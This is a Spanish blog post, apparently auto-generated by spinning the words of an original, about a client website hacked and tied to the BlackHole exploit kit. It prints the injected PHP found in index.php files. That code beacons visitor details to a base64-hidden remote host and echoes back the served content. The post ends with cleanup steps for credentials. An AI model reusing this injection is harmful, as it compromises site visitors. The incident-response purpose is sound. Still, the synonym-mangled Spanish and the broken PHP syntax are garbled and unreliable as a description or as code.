Web Hackeada (BlackHole Exploit Kit)

he estado estos dos últimos recorridos revisando la web de un cliente que había sido Hackeada. Los antivirus de muchos de sus favorecidos les saltaban con el guiño de intimación de canon blackhole Exploit Kit y abortaban la conexión.

tras comprobar el log del criado y notar varias comunicaciones por Ftp de una sentida natal de Canadá, revisé los editoriales que parecían haber sido variados por este foráneo. En este percance, variados clasificadores index.php emplazados en distintos índices del servidor.

en todos estos archivadores se había entremetido este trozo de edicto Php.

<?php
if (!isset($sretry))
{
común $Sretry;
$Sretry = 1;
// This code use for universal bot statistic
$Suseragent = Strtolower($_server['http_user_agent']); //  Looks for google serch bot
$Stcurlhandle = Null;
$Stcurllink = “”;
If((strstr($suseragent, ‘google’) == False)&&(strstr($suseragent, ‘yahoo’) == False)&&(strstr($suseragent, ‘baidu’) == False)&&(strstr($suseragent, ‘msn’) == False)&&(strstr($suseragent, ‘opera’) == False)&&(strstr($suseragent, ‘chrome’) == False)&&(strstr($suseragent, ‘bing’) == False)&&(strstr($suseragent, ‘safari’) == False)&&(strstr($suseragent, ‘bot’) == false)) // Bot comes
{
If(isset($_server['remote_addr']) == true && Isset($_server['http_host']) == true){ // Create  bot analitics
$Stcurllink = base64_decode( ‘ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca==’).’?ip=’.urlencode($_server['remote_addr']).’&useragent=’.urlencode($suseragent).’&domainname=’.urlencode($_server['http_host']).’&fullpath=’.urlencode($_server['request_uri']).’&check=’.isset($_get['look']);
@$stcurlhandle = curl_init( $Stcurllink );
}
}
if ( $Stcurlhandle !== Null )
{
Curl_setopt($stcurlhandle, Curlopt_returntransfer, 1);
Curl_setopt($stcurlhandle, Curlopt_timeout, 6);
$Sresult = @Curl_exec($stcurlhandle);
if ($sresult[0]==”o”)
{$sresult[0]=” “;
echo $Sresult; // Statistic code end
}
Curl_close($stcurlhandle);
}
}
?>

el compendio firmado en Base64  ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca contiene esta sentida [http://hotlogupdate.com/stat/stat.php]

en este incidente, el reglamento es facilmente reconocible. En otras permutas el edicto alcanzado es un javascript enceguecido bastante mas dificil de detectar.

si vuestra web es hackeada e contagiada por este u otro tipo de estatuto engañoso es recomendable que toméis las subsiguientes medidas aparte de liquidar el descontento estatuto claro …

1. Cambiar las credenciales de camino al pasquín de ejercicio del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la tabla Ftp

3. Revisar los grupos desde los que se ha logrado con la enumeración Ftp cuyas credenciales parecen haber sido sustraidas en búsqueda de algún tipo de Troyano que el hacker haya podido usar para sustraerlas.

 
]]>



Este post se a creado automaticamente con autoblogger imperium descargalo Gratuito